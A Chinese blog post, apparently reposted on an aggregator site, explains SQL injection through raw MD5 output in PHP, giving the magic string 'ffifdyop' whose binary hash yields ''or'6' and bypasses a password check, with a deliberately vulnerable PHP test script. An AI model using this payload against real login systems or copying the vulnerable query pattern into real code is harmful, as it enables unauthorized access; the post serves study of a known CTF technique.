1022.MD5加密后的SQL 注入

Posted 一切刚刚开始

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了1022.MD5加密后的SQL 注入相关的知识,希望对你有一定的参考价值。

今天看到$sql = "SELECT * FROM admin WHERE pass = ‘".md5($password,true)."‘";这样一个sql,其实可以注入。

思路比较明确,当md5后的hex转换成字符串后,如果包含‘or‘<trash>这样的字符串,那整个sql变成

SELECT * FROM admin WHERE pass = ‘‘or‘6<trash>‘

很明显可以注入了。

难点就在如何寻找这样的字符串,我只是顺手牵羊,牵了一个。。
提供一个字符串:ffifdyop 
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串:‘or‘6<trash>

测试代码:

<?php 
    
error_reporting(0);

$link = mysql_connect(‘localhost‘, ‘root‘, ‘‘);
if (!$link) { 
    die(‘Could not connect to MySQL: ‘ . mysql_error()); 
} 

// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
    echo ‘select db error‘;
    exit();
}

// 执行sql
$password = "ffifdyop";
$sql = "SELECT * FROM admin WHERE pass = ‘".md5($password,true)."‘";
var_dump($sql);
$result=mysql_query($sql) or die(‘<pre>‘ . mysql_error() . ‘</pre>‘ );

$row1 = mysql_fetch_row($result);
var_dump($row1);

mysql_close($link);

?>

效果:
技术图片

参考:
http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
http://cvk.posthaven.com/sql-injection-with-raw-md5-hashes







以上是关于1022.MD5加密后的SQL 注入的主要内容,如果未能解决你的问题,请参考以下文章

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

web安全sql注入&Json&格式类型&加密注入&MYSQL增删查改

SQL注入之什么是加密注入|二次漏洞注入|DNSlog注入

SQL注入之盲注,二次注入,dnslog注入

MyBatis如何防止SQL注入

sql注入碰到加密数据怎么办